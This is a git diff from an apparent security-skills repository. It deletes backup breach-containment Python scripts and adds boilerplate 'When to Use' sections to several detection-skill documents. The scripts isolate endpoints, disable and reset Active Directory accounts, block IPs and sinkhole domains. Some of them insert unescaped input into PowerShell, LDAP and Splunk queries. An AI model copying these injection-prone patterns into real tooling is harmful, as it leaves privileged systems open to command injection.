+0,0 @@ -#!/usr/bin/env python3 -"""Active security breach containment agent for automated response actions.""" - -import json -import sys -import argparse -import subprocess -from datetime import datetime - -try: - import requests -except ImportError: - print("Install: pip install requests") - sys.exit(1) - - -def isolate_host_crowdstrike(api_base, api_token, device_id): - """Isolate a compromised host via CrowdStrike Falcon API.""" - headers = {"Authorization": f"Bearer {api_token}", "Content-Type": "application/json"} - resp = requests.post(f"{api_base}/devices/entities/devices-actions/v2", - params={"action_name": "contain"}, - headers=headers, - json={"ids": [device_id]}, timeout=30) - return {"action": "host_isolation", "device_id": device_id, - "status": resp.status_code, "response": resp.json()} - - -def disable_ad_account(username, domain_controller): - """Disable compromised AD account via PowerShell.""" - cmd = ["powershell", "-Command", - f"Disable-ADAccount -Identity '{username}' -Server '{domain_controller}' -Confirm:$false"] - try: - result = subprocess.run(cmd, capture_output=True, text=True, timeout=15) - return {"action": "disable_account", "username": username, - "status": "success" if result.returncode == 0 else "failed", - "output": result.stderr[:200] if result.stderr else ""} - except (FileNotFoundError, subprocess.TimeoutExpired) as e: - return {"action": "disable_account", "status": "error", "error": str(e)} - - -def block_ip_firewall(ip_address): - """Block attacker IP on network firewall.""" - cmd = ["powershell", "-Command", - f"New-NetFirewallRule -DisplayName 'IR-Block-{ip_address}' -Direction Inbound " - f"-Action Block -RemoteAddress '{ip_address}' -Profile Any"] - try: - result = subprocess.run(cmd, capture_output=True, text=True, timeout=15) - return {"action": "block_ip", "ip": ip_address, - "status": "success" if result.returncode == 0 else "failed"} - except (FileNotFoundError, subprocess.TimeoutExpired) as e: - return {"action": "block_ip", "status": "error", "error": str(e)} - - -def generate_containment_checklist(incident_type): - """Generate containment checklist based on incident type.""" - checklists = { - "ransomware": [ - {"step": 1, "action": "Isolate affected hosts from network", "priority": "CRITICAL"}, - {"step": 2, "action": "Disable compromised user accounts", "priority": "CRITICAL"}, - {"step": 3, "action": "Block C2 IPs and domains at firewall", "priority": "HIGH"}, - {"step": 4, "action": "Preserve forensic evidence before reimaging", "priority": "HIGH"}, - {"step": 5, "action": "Reset Kerberos KRBTGT password twice", "priority": "HIGH"}, - {"step": 6, "action": "Revoke active VPN and remote access sessions", "priority": "HIGH"}, - {"step": 7, "action": "Notify legal and executive leadership", "priority": "MEDIUM"}, - ], - "data_breach": [ - {"step": 1, "action": "Identify and isolate exfiltration channel", "priority": "CRITICAL"}, - {"step": 2, "action": "Revoke compromised API keys and tokens", "priority": "CRITICAL"}, - {"step": 3, "action": "Block external IPs involved in exfiltration", "priority": "HIGH"}, - {"step": 4, "action": "Preserve logs and network captures", "priority": "HIGH"}, - {"step": 5, "action": "Assess scope of data exposed", "priority": "HIGH"}, - {"step": 6, "action": "Engage legal for breach notification requirements", "priority": "MEDIUM"}, - ], - "account_compromise": [ - {"step": 1, "action": "Disable compromised accounts immediately", "priority": "CRITICAL"}, - {"step": 2, "action": "Revoke all active sessions and tokens", "priority": "CRITICAL"}, - {"step": 3, "action": "Reset passwords and MFA enrollments", "priority": "HIGH"}, - {"step": 4, "action": "Review recent account activity and access logs", "priority": "HIGH"}, - {"step": 5, "action": "Check for persistence mechanisms (forwarding rules, OAuth apps)", "priority": "HIGH"}, - ], - } - return checklists.get(incident_type, checklists["ransomware"]) - - -def run_containment(incident_type="ransomware"): - """Execute breach containment planning.""" - print(f"\n{'='*60}") - print(f" ACTIVE BREACH CONTAINMENT") - print(f" Incident Type: {incident_type}") - print(f" Generated: {datetime.utcnow().isoformat()} UTC") - print(f"{'='*60}\n") - - checklist = generate_containment_checklist(incident_type) - print(f"--- CONTAINMENT CHECKLIST ---") - for item in checklist: - print(f" [{item['priority']}] Step {item['step']}: {item['action']}") - - return {"incident_type": incident_type, "checklist": checklist} - - -def main(): - parser = argparse.ArgumentParser(description="Breach Containment Agent") - parser.add_argument("--incident-type", choices=["ransomware", "data_breach", "account_compromise"], - default="ransomware", help="Type of incident") - parser.add_argument("--isolate-host", help="CrowdStrike device ID to isolate") - parser.add_argument("--disable-account", help="AD username to disable") - parser.add_argument("--block-ip", help="Attacker IP to block") - parser.add_argument("--output", help="Save report to JSON file") - args = parser.parse_args() - - report = run_containment(args.incident_type) - if args.output: - with open(args.output, "w") as f: - json.dump(report, f, indent=2, default=str) - print(f"\n[+] Report saved to {args.output}") - - -if __name__ == "__main__": - main() diff --git a/skills/containing-active-security-breach.bak/scripts/process.py b/skills/containing-active-security-breach.bak/scripts/process.py deleted file mode 100644 index 0165c122..00000000 --- a/skills/containing-active-security-breach.bak/scripts/process.py +++ /dev/null @@ -1,517 +0,0 @@ -#!/usr/bin/env python3 -""" -Active Security Breach Containment Automation Script - -Automates containment actions during an active security breach: -- Queries SIEM for scope assessment -- Isolates endpoints via EDR API -- Blocks IPs/domains at firewall -- Disables compromised AD accounts -- Generates containment action log - -Requirements: - pip install requests ldap3 python-dateutil pyyaml -""" - -import argparse -import csv -import hashlib -import json -import logging -import os -import socket -import subprocess -import sys -from datetime import datetime, timezone -from pathlib import Path -from typing import Optional - -try: - import requests -except ImportError: - print("Install requests: pip install requests") - sys.exit(1) - -try: - from ldap3 import Server, Connection, MODIFY_REPLACE, ALL -except ImportError: - ldap3_available = False -else: - ldap3_available = True - -logging.basicConfig( - level=logging.INFO, - format="%(asctime)s [%(levelname)s] %(message)s", - handlers=[ - logging.StreamHandler(), - logging.FileHandler(f"containment_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log"), - ], -) -logger = logging.getLogger("breach_containment") - - -class ContainmentActionLog: - """Tracks all containment actions with timestamps for audit trail.""" - - def __init__(self, incident_id: str): - self.incident_id = incident_id - self.actions = [] - self.start_time = datetime.now(timezone.utc) - - def log_action(self, action_type: str, target: str, result: str, details: str = ""): - entry = { - "timestamp": datetime.now(timezone.utc).isoformat(), - "incident_id": self.incident_id, - "action_type": action_type, - "target": target, - "result": result, - "details": details, - "operator": os.getenv("USERNAME", os.getenv("USER", "unknown")), - } - self.actions.append(entry) - logger.info(f"[{action_type}] {target}: {result} - {details}") - - def export_csv(self, filepath: str): - if not self.actions: - logger.warning("No actions to export") - return - with open(filepath, "w", newline="") as f: - writer = csv.DictWriter(f, fieldnames=self.actions[0].keys()) - writer.writeheader() - writer.writerows(self.actions) - logger.info(f"Containment log exported to {filepath}") - - def export_json(self, filepath: str): - report = { - "incident_id": self.incident_id, - "containment_start": self.start_time.isoformat(), - "containment_end": datetime.now(timezone.utc).isoformat(), - "total_actions": len(self.actions), - "actions": self.actions, - } - with open(filepath, "w") as f: - json.dump(report, f, indent=2) - logger.info(f"Containment report exported to {filepath}") - - -class CrowdStrikeContainment: - """CrowdStrike Falcon endpoint containment via API.""" - - def __init__(self, client_id: str, client_secret: str, base_url: str = "https://api.crowdstrike.com"): - self.base_url = base_url - self.client_id = client_id - self.client_secret = client_secret - self.token = None - - def authenticate(self): - resp = requests.post( - f"{self.base_url}/oauth2/token", - data={"client_id": self.client_id, "client_secret": self.client_secret}, - headers={"Content-Type": "application/x-www-form-urlencoded"}, - ) - resp.raise_for_status() - self.token = resp.json()["access_token"] - logger.info("Authenticated to CrowdStrike Falcon API") - - def _headers(self): - return {"Authorization": f"Bearer {self.token}", "Content-Type": "application/json"} - - def get_device_id_by_hostname(self, hostname: str) -> Optional[str]: - resp = requests.get( - f"{self.base_url}/devices/queries/devices/v1", - headers=self._headers(), - params={"filter": f"hostname:'{hostname}'"}, - ) - resp.raise_for_status() - resources = resp.json().get("resources", []) - return resources[0] if resources else None - - def contain_host(self, device_id: str) -> dict: - resp = requests.post( - f"{self.base_url}/devices/entities/devices-actions/v2", - headers=self._headers(), - params={"action_name": "contain"}, - json={"ids": [device_id]}, - ) - resp.raise_for_status() - return resp.json() - - def lift_containment(self, device_id: str) -> dict: - resp = requests.post( - f"{self.base_url}/devices/entities/devices-actions/v2", - headers=self._headers(), - params={"action_name": "lift_containment"}, - json={"ids": [device_id]}, - ) - resp.raise_for_status() - return resp.json() - - def get_detections(self, severity: str = "Critical") -> list: - resp = requests.get( - f"{self.base_url}/detects/queries/detects/v1", - headers=self._headers(), - params={"filter": f"max_severity_displayname:'{severity}'+status:'new'", "limit": 100}, - ) - resp.raise_for_status() - return resp.json().get("resources", []) - - -class SentinelOneContainment: - """SentinelOne endpoint containment via API.""" - - def __init__(self, api_token: str, base_url: str): - self.base_url = base_url - self.api_token = api_token - - def _headers(self): - return {"Authorization": f"ApiToken {self.api_token}", "Content-Type": "application/json"} - - def disconnect_agent(self, agent_id: str) -> dict: - resp = requests.post( - f"{self.base_url}/web/api/v2.1/agents/actions/disconnect", - headers=self._headers(), - json={"filter": {"ids": [agent_id]}, "data": {}}, - ) - resp.raise_for_status() - return resp.json() - - def reconnect_agent(self, agent_id: str) -> dict: - resp = requests.post( - f"{self.base_url}/web/api/v2.1/agents/actions/connect", - headers=self._headers(), - json={"filter": {"ids": [agent_id]}, "data": {}}, - ) - resp.raise_for_status() - return resp.json() - - -class ActiveDirectoryContainment: - """Active Directory account containment via LDAP.""" - - def __init__(self, server_addr: str, domain: str, username: str, password: str): - if not ldap3_available: - raise ImportError("ldap3 package required: pip install ldap3") - self.server = Server(server_addr, get_info=ALL) - self.domain = domain - self.conn = Connection(self.server, user=f"{domain}\\{username}", password=password, auto_bind=True) - - def disable_account(self, sam_account_name: str) -> bool: - search_base = ",".join([f"DC={part}" for part in self.domain.split(".")]) - self.conn.search( - search_base, - f"(sAMAccountName={sam_account_name})", - attributes=["userAccountControl", "distinguishedName"], - ) - if not self.conn.entries: - logger.warning(f"Account {sam_account_name} not found in AD") - return False - - dn = self.conn.entries[0].distinguishedName.value - current_uac = int(self.conn.entries[0].userAccountControl.value) - # Set ACCOUNTDISABLE flag (bit 1, value 2) - new_uac = current_uac | 0x0002 - self.conn.modify(dn, {"userAccountControl": [(MODIFY_REPLACE, [str(new_uac)])]}) - logger.info(f"Disabled AD account: {sam_account_name}") - return True - - def reset_password(self, sam_account_name: str, new_password: str) -> bool: - search_base = ",".join([f"DC={part}" for part in self.domain.split(".")]) - self.conn.search(search_base, f"(sAMAccountName={sam_account_name})", attributes=["distinguishedName"]) - if not self.conn.entries: - return False - dn = self.conn.entries[0].distinguishedName.value - encoded_pw = f'"{new_password}"'.encode("utf-16-le") - self.conn.modify(dn, {"unicodePwd": [(MODIFY_REPLACE, [encoded_pw])]}) - logger.info(f"Reset password for AD account: {sam_account_name}") - return True - - -class FirewallContainment: - """Block IPs and domains at network perimeter.""" - - @staticmethod - def block_ips_iptables(ip_list: list, chain: str = "INPUT") -> list: - results = [] - for ip in ip_list: - try: - cmd = ["iptables", "-A", chain, "-s", ip, "-j", "DROP"] - subprocess.run(cmd, capture_output=True, text=True, check=True) - cmd_out = ["iptables", "-A", "OUTPUT", "-d", ip, "-j", "DROP"] - subprocess.run(cmd_out, capture_output=True, text=True, check=True) - results.append({"ip": ip, "status": "blocked", "method": "iptables"}) - logger.info(f"Blocked IP via iptables: {ip}") - except subprocess.CalledProcessError as e: - results.append({"ip": ip, "status": "failed", "error": str(e)}) - logger.error(f"Failed to block IP {ip}: {e}") - return results - - @staticmethod - def block_ips_windows_firewall(ip_list: list) -> list: - results = [] - for ip in ip_list: - try: - rule_name = f"IR_Block_{ip.replace('.', '_')}" - cmd = [ - "netsh", "advfirewall", "firewall", "add", "rule", - f"name={rule_name}", "dir=in", "action=block", - f"remoteip={ip}", "protocol=any", - ] - subprocess.run(cmd, capture_output=True, text=True, check=True) - cmd_out = [ - "netsh", "advfirewall", "firewall", "add", "rule", - f"name={rule_name}_out", "dir=out", "action=block", - f"remoteip={ip}", "protocol=any", - ] - subprocess.run(cmd_out, capture_output=True, text=True, check=True) - results.append({"ip": ip, "status": "blocked", "method": "windows_firewall"}) - logger.info(f"Blocked IP via Windows Firewall: {ip}") - except subprocess.CalledProcessError as e: - results.append({"ip": ip, "status": "failed", "error": str(e)}) - logger.error(f"Failed to block IP {ip}: {e}") - return results - - @staticmethod - def block_domains_hosts_file(domain_list: list) -> list: - results = [] - hosts_path = r"C:\Windows\System32\drivers\etc\hosts" if os.name == "nt" else "/etc/hosts" - try: - with open(hosts_path, "a") as f: - for domain in domain_list: - f.write(f"\n0.0.0.0 {domain} # IR Containment Block") - results.append({"domain": domain, "status": "sinkholed", "method": "hosts_file"}) - logger.info(f"Sinkholed domain: {domain}") - except PermissionError: - logger.error("Insufficient permissions to modify hosts file. Run as administrator.") - for domain in domain_list: - results.append({"domain": domain, "status": "failed", "error": "permission_denied"}) - return results - - -class SplunkScopeAssessment: - """Query Splunk SIEM for incident scope assessment.""" - - def __init__(self, base_url: str, token: str): - self.base_url = base_url - self.token = token - - def _headers(self): - return {"Authorization": f"Bearer {self.token}", "Content-Type": "application/json"} - - def search(self, query: str, earliest: str = "-24h", latest: str = "now") -> dict: - resp = requests.post( - f"{self.base_url}/services/search/jobs", - headers=self._headers(), - data={ - "search": f"search {query}", - "earliest_time": earliest, - "latest_time": latest, - "output_mode": "json", - }, - verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments - ) - resp.raise_for_status() - return resp.json() - - def find_related_hosts(self, attacker_ip: str) -> dict: - query = f"""index=security (src_ip="{attacker_ip}" OR dest_ip="{attacker_ip}") -| stats count values(dest_ip) as targets values(src_ip) as sources by sourcetype -| sort -count""" - return self.search(query) - - def find_compromised_accounts(self, host_list: list) -> dict: - hosts_filter = " OR ".join([f'src="{h}"' for h in host_list]) - query = f"""index=security EventCode=4624 ({hosts_filter}) -| stats count values(src) as source_hosts by Account_Name, Logon_Type -| where Logon_Type IN ("3","10") -| sort -count""" - return self.search(query) - - -def collect_volatile_evidence(output_dir: str) -> dict: - """Collect volatile evidence from current system before containment.""" - os.makedirs(output_dir, exist_ok=True) - evidence = {} - - # Network connections - try: - if os.name == "nt": - result = subprocess.run(["netstat", "-anob"], capture_output=True, text=True) - else: - result = subprocess.run(["ss", "-tulnp"], capture_output=True, text=True) - netconn_file = os.path.join(output_dir, "network_connections.txt") - with open(netconn_file, "w") as f: - f.write(result.stdout) - evidence["network_connections"] = { - "file": netconn_file, - "sha256": hashlib.sha256(result.stdout.encode()).hexdigest(), - } - except Exception as e: - logger.error(f"Failed to collect network connections: {e}") - - # Running processes - try: - if os.name == "nt": - result = subprocess.run(["tasklist", "/V", "/FO", "CSV"], capture_output=True, text=True) - else: - result = subprocess.run(["ps", "auxwwf"], capture_output=True, text=True) - proc_file = os.path.join(output_dir, "running_processes.txt") - with open(proc_file, "w") as f: - f.write(result.stdout) - evidence["running_processes"] = { - "file": proc_file, - "sha256": hashlib.sha256(result.stdout.encode()).hexdigest(), - } - except Exception as e: - logger.error(f"Failed to collect process list: {e}") - - # DNS cache - try: - if os.name == "nt": - result = subprocess.run(["ipconfig", "/displaydns"], capture_output=True, text=True) - else: - dns_cache_file = "/var/cache/nscd/hosts" if os.path.exists("/var/cache/nscd/hosts") else "" - result = subprocess.run(["cat", dns_cache_file], capture_output=True, text=True) if dns_cache_file else None - if result and result.stdout: - dns_file = os.path.join(output_dir, "dns_cache.txt") - with open(dns_file, "w") as f: - f.write(result.stdout) - evidence["dns_cache"] = { - "file": dns_file, - "sha256": hashlib.sha256(result.stdout.encode()).hexdigest(), - } - except Exception as e: - logger.error(f"Failed to collect DNS cache: {e}") - - # ARP table - try: - result = subprocess.run(["arp", "-a"], capture_output=True, text=True) - arp_file = os.path.join(output_dir, "arp_table.txt") - with open(arp_file, "w") as f: - f.write(result.stdout) - evidence["arp_table"] = { - "file": arp_file, - "sha256": hashlib.sha256(result.stdout.encode()).hexdigest(), - } - except Exception as e: - logger.error(f"Failed to collect ARP table: {e}") - - # Logged-in users - try: - if os.name == "nt": - result = subprocess.run(["query", "user"], capture_output=True, text=True) - else: - result = subprocess.run(["who"], capture_output=True, text=True) - users_file = os.path.join(output_dir, "logged_in_users.txt") - with open(users_file, "w") as f: - f.write(result.stdout) - evidence["logged_in_users"] = { - "file": users_file, - "sha256": hashlib.sha256(result.stdout.encode()).hexdigest(), - } - except Exception as e: - logger.error(f"Failed to collect logged-in users: {e}") - - return evidence - - -def run_containment(args): - """Execute the full containment workflow.""" - action_log = ContainmentActionLog(args.incident_id) - logger.info(f"Starting containment for incident: {args.incident_id}") - - # Step 1: Collect volatile evidence if requested - if args.collect_evidence: - evidence_dir = os.path.join(args.output_dir, "evidence", args.incident_id) - logger.info(f"Collecting volatile evidence to {evidence_dir}") - evidence = collect_volatile_evidence(evidence_dir) - for etype, edata in evidence.items(): - action_log.log_action("evidence_collection", etype, "collected", f"SHA256: {edata['sha256']}") - - # Step 2: Block IPs at firewall - if args.block_ips: - ip_list = [ip.strip() for ip in args.block_ips.split(",")] - logger.info(f"Blocking {len(ip_list)} IPs at firewall") - if os.name == "nt": - results = FirewallContainment.block_ips_windows_firewall(ip_list) - else: - results = FirewallContainment.block_ips_iptables(ip_list) - for r in results: - action_log.log_action("ip_block", r["ip"], r["status"], r.get("method", r.get("error", ""))) - - # Step 3: Block domains - if args.block_domains: - domain_list = [d.strip() for d in args.block_domains.split(",")] - logger.info(f"Sinkholing {len(domain_list)} domains") - results = FirewallContainment.block_domains_hosts_file(domain_list) - for r in results: - action_log.log_action("domain_block", r["domain"], r["status"], r.get("method", "")) - - # Step 4: Isolate endpoints via CrowdStrike - if args.crowdstrike_isolate and args.cs_client_id and args.cs_client_secret: - cs = CrowdStrikeContainment(args.cs_client_id, args.cs_client_secret) - try: - cs.authenticate() - action_log.log_action("edr_auth", "crowdstrike", "success", "API authenticated") - hostnames = [h.strip() for h in args.crowdstrike_isolate.split(",")] - for hostname in hostnames: - device_id = cs.get_device_id_by_hostname(hostname) - if device_id: - cs.contain_host(device_id) - action_log.log_action("endpoint_isolation", hostname, "contained", f"Device ID: {device_id}") - else: - action_log.log_action("endpoint_isolation", hostname, "failed", "Device not found in Falcon") - except Exception as e: - action_log.log_action("edr_auth", "crowdstrike", "failed", str(e)) - logger.error(f"CrowdStrike containment failed: {e}") - - # Step 5: Disable AD accounts - if args.disable_accounts and args.ad_server and ldap3_available: - try: - ad = ActiveDirectoryContainment( - args.ad_server, args.ad_domain, args.ad_username, args.ad_password - ) - accounts = [a.strip() for a in args.disable_accounts.split(",")] - for account in accounts: - result = ad.disable_account(account) - action_log.log_action( - "account_disable", account, "disabled" if result else "failed", - "AD account disabled" if result else "Account not found", - ) - except Exception as e: - action_log.log_action("account_disable", "AD", "failed", str(e)) - logger.error(f"AD containment failed: {e}") - - # Export containment action log - os.makedirs(args.output_dir, exist_ok=True) - csv_path = os.path.join(args.output_dir, f"containment_log_{args.incident_id}.csv") - json_path = os.path.join(args.output_dir, f"containment_report_{args.incident_id}.json") - action_log.export_csv(csv_path) - action_log.export_json(json_path) - - logger.info(f"Containment workflow completed for {args.incident_id}") - logger.info(f"Total actions taken: {len(action_log.actions)}") - return action_log - - -def main(): - parser = argparse.ArgumentParser(description="Active Security Breach Containment Automation") - parser.add_argument("--incident-id", required=True, help="Incident tracking ID (e.g., IR-2024-001)") - parser.add_argument("--output-dir", default="./containment_output", help="Output directory for logs and reports") - parser.add_argument("--collect-evidence", action="store_true", help="Collect volatile evidence before containment") - parser.add_argument("--block-ips", help="Comma-separated list of IPs to block at firewall") - parser.add_argument("--block-domains", help="Comma-separated list of domains to sinkhole") - parser.add_argument("--crowdstrike-isolate", help="Comma-separated hostnames to isolate via CrowdStrike") - parser.add_argument("--cs-client-id", default=os.getenv("CS_CLIENT_ID"), help="CrowdStrike API client ID") - parser.add_argument("--cs-client-secret", default=os.getenv("CS_CLIENT_SECRET"), help="CrowdStrike API client secret") - parser.add_argument("--disable-accounts", help="Comma-separated AD accounts to disable") - parser.add_argument("--ad-server", default=os.getenv("AD_SERVER"), help="Active Directory server address") - parser.add_argument("--ad-domain", default=os.getenv("AD_DOMAIN"), help="Active Directory domain") - parser.add_argument("--ad-username", default=os.getenv("AD_USERNAME"), help="AD admin username") - parser.add_argument("--ad-password", default=os.getenv("AD_PASSWORD"), help="AD admin password") - - args = parser.parse_args() - run_containment(args) - - -if __name__ == "__main__": - main() diff --git a/skills/deploying-tailscale-for-zero-trust-vpn/SKILL.md b/skills/deploying-tailscale-for-zero-trust-vpn/SKILL.md index 73a95b77..c7d26819 100644 --- a/skills/deploying-tailscale-for-zero-trust-vpn/SKILL.md +++ b/skills/deploying-tailscale-for-zero-trust-vpn/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Tailscale is a zero trust mesh VPN built on WireGuard that creates encrypted peer-to-peer connections between devices without requiring traditional VPN servers or complex network configuration. Every connection in a Tailscale network (tailnet) is end-to-end encrypted using WireGuard's Noise protocol framework with Curve25519 key exchange. Tailscale implements zero trust networking by authenticating every connection request through identity providers, enforcing granular Access Control Lists (ACLs), and supporting features like exit nodes, subnet routers, MagicDNS, and Tailscale SSH. For organizations preferring self-hosted infrastructure, Headscale provides an open-source implementation of the Tailscale control server. + +## When to Use + +- When deploying or configuring deploying tailscale for zero trust vpn capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Identity provider (Okta, Azure AD, Google Workspace, GitHub, or OIDC-compatible) diff --git a/skills/detecting-api-enumeration-attacks/SKILL.md b/skills/detecting-api-enumeration-attacks/SKILL.md index 8b61d446..5a897b0f 100644 --- a/skills/detecting-api-enumeration-attacks/SKILL.md +++ b/skills/detecting-api-enumeration-attacks/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 API enumeration attacks occur when attackers systematically probe API endpoints with sequential or predictable identifiers to discover and access unauthorized resources. Broken Object Level Authorization (BOLA), ranked as API1:2023 in the OWASP API Security Top 10, is the most critical API vulnerability. Attackers manipulate object identifiers (user IDs, order numbers, account references) in API requests to bypass authorization and access other users' data. Detection requires monitoring for patterns of rapid sequential access attempts, authorization failures, and abnormal API usage behavior. + +## When to Use + +- When investigating security incidents that require detecting api enumeration attacks +- When building detection rules or threat hunting queries for this domain +- When SOC analysts need structured procedures for this analysis type +- When validating security monitoring coverage for related attack techniques + ## Prerequisites - API gateway or reverse proxy with logging enabled (Kong, AWS API Gateway, Apigee) diff --git a/skills/detecting-aws-guardduty-findings-automation/SKILL.md b/skills/detecting-aws-guardduty-findings-automation/SKILL.md index 629f96ff..62a99ffa 100644 --- a/skills/detecting-aws-guardduty-findings-automation/SKILL.md +++ b/skills/detecting-aws-guardduty-findings-automation/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Amazon GuardDuty is a threat detection service that continuously monitors AWS accounts for malicious activity and unauthorized behavior. By integrating GuardDuty with Amazon EventBridge and AWS Lambda, security teams achieve automated, real-time responses to threats, reducing mean time to response (MTTR) from hours to seconds. GuardDuty analyzes VPC Flow Logs, CloudTrail management and data events, DNS logs, EKS audit logs, and S3 data events. + +## When to Use + +- When investigating security incidents that require detecting aws guardduty findings automation +- When building detection rules or threat hunting queries for this domain +- When SOC analysts need structured procedures for this analysis type +- When validating security monitoring coverage for related attack techniques + ## Prerequisites - AWS account with GuardDuty enabled diff --git a/skills/detecting-azure-service-principal-abuse/SKILL.md b/skills/detecting-azure-service-principal-abuse/SKILL.md index e3c48157..713e504b 100644 --- a/skills/detecting-azure-service-principal-abuse/SKILL.md +++ b/skills/detecting-azure-service-principal-abuse/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Azure service principals are identity objects used by applications, services, and automation tools to access Azure resources. Attackers exploit service principals for privilege escalation, lateral movement, and persistent access. Key abuse patterns include: adding credentials to existing principals, assigning privileged roles, bypassing admin consent, and enumerating service principals for attack paths. Application ownership grants the ability to manage credentials and configure permissions, creating hidden privilege escalation paths. + +## When to Use + +- When investigating security incidents that require detecting azure service principal abuse +- When building detection rules or threat hunting queries for this domain +- When SOC analysts need structured procedures for this analysis type +- When validating security monitoring coverage for related attack techniques + ## Prerequisites - Azure subscription with Microsoft Entra ID P2 license diff --git a/skills/detecting-azure-storage-account-misconfigurations/SKILL.md b/skills/detecting-azure-storage-account-misconfigurations/SKILL.md index bdbf9e35..17dfebd5 100644 --- a/skills/detecting-azure-storage-account-misconfigurations/SKILL.md +++ b/skills/detecting-azure-storage-account-misconfigurations/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Azure Storage accounts are a frequent target for attackers due to misconfigured public access, long-lived SAS tokens, missing encryption, and outdated TLS versions. This skill uses the azure-mgmt-storage Python SDK with StorageManagementClient to enumerate all storage accounts in a subscription, inspect their security properties, list blob containers for public access settings, and generate a risk-scored audit report identifying critical misconfigurations. + +## When to Use + +- When investigating security incidents that require detecting azure storage account misconfigurations +- When building detection rules or threat hunting queries for this domain +- When SOC analysts need structured procedures for this analysis type +- When validating security monitoring coverage for related attack techniques + ## Prerequisites - Python 3.9+ with `azure-mgmt-storage`, `azure-identity` diff --git a/skills/detecting-broken-object-property-level-authorization/SKILL.md b/skills/detecting-broken-object-property-level-authorization/SKILL.md index 44051f5c..f6b0f2a1 100644 --- a/skills/detecting-broken-object-property-level-authorization/SKILL.md +++ b/skills/detecting-broken-object-property-level-authorization/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Broken Object Property Level Authorization (BOPLA), classified as API3:2023 in the OWASP API Security Top 10, combines two related vulnerability classes: Excessive Data Exposure (API returning more data than needed) and Mass Assignment (API accepting more data than intended). Even when APIs enforce object-level authorization correctly, they may fail to control which specific properties of an object a user can read or modify. Attackers exploit this by reading sensitive properties from API responses or injecting additional properties into request bodies to modify fields they should not have access to. + +## When to Use + +- When investigating security incidents that require detecting broken object property level authorization +- When building detection rules or threat hunting queries for this domain +- When SOC analysts need structured procedures for this analysis type +- When validating security monitoring coverage for related attack techniques + ## Prerequisites - Target API with endpoints that return or accept object data diff --git a/skills/detecting-cloud-cryptomining-activity.bak/LICENSE b/skills/detecting-cloud-cryptomining-activity.bak/LICENSE deleted file mode 100644 index d8851182..00000000 --- a/skills/detecting-cloud-cryptomining-activity.bak/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - 